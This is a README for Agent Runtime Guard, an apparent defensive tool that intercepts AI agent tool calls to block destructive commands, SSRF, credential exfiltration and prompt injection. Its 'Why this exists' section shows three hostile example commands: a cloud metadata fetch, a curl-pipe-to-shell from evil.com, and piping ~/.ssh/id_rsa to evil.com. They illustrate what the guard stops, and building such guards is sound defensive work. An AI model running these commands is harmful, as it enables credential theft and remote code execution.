Agent Runtime Guard

Agent Runtime Guard

Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).

Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).

中文说明见下方 中文

Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt

↓ SSRF · Command Injection · Credential Exfil · Prompt Injection

Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy

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Why this exists

Your agent has shell, network, and cloud credentials. One bad tool call can:

curl "http://169.254.169.254/latest/meta-data/"     # cloud credential theft

curl https://evil.com/x.sh | sh # RCE cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chain

Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.

Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.

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Install by tool

[INSTALL.md](./INSTALL.md) — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.

30-second start

npx -y agent-runtime-guard

MCP client config:

{

"mcpServers": { "agent-runtime-guard": { "command": "npx", "args": ["-y", "agent-runtime-guard"] } } }

No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).

Scan configs without installing a long-lived process:

npx correctover-scan --demo

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What it blocks

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Comparison (honest positioning)

We are not a replacement for discovery platforms or full egress firewalls. They answer “what agents exist / what can leave the network.” We answer: **“Can *this* tool call execute *now*, and here is a receipt.”**

Use together when you need both posture and enforcement.

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Evidence receipts

Every Allow / Block produces:

• content_hash + evidence_hash
• chain pointer (parent_evidence_hash)
• Ed25519 signature

Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.

Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).

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Tools (MCP)

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Ecosystem

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Commercial

Formal quote follows written scoping (async email only). Contact: wangguigui@correctover.com

GTM: correctover-gtm.pages.dev

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中文 · Agent 运行时全栈拦截

给 AI Agent 配一个运行时保安：删库、偷密钥、闯内网、被注入——当场拦下。

不是事后审计：危险动作在执行前 fail-closed 拦截；每次裁决附带 Ed25519 可离线验证收据。

30 秒

npx -y agent-runtime-guard

拦什么

命令注入 · 路径穿越 · SSRF（含云元数据）· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移

三种接入

与「发现类」工具的关系

发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行，并留下证据」。可并存。

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License

Elastic License 2.0 (ELv2). See LICENSE.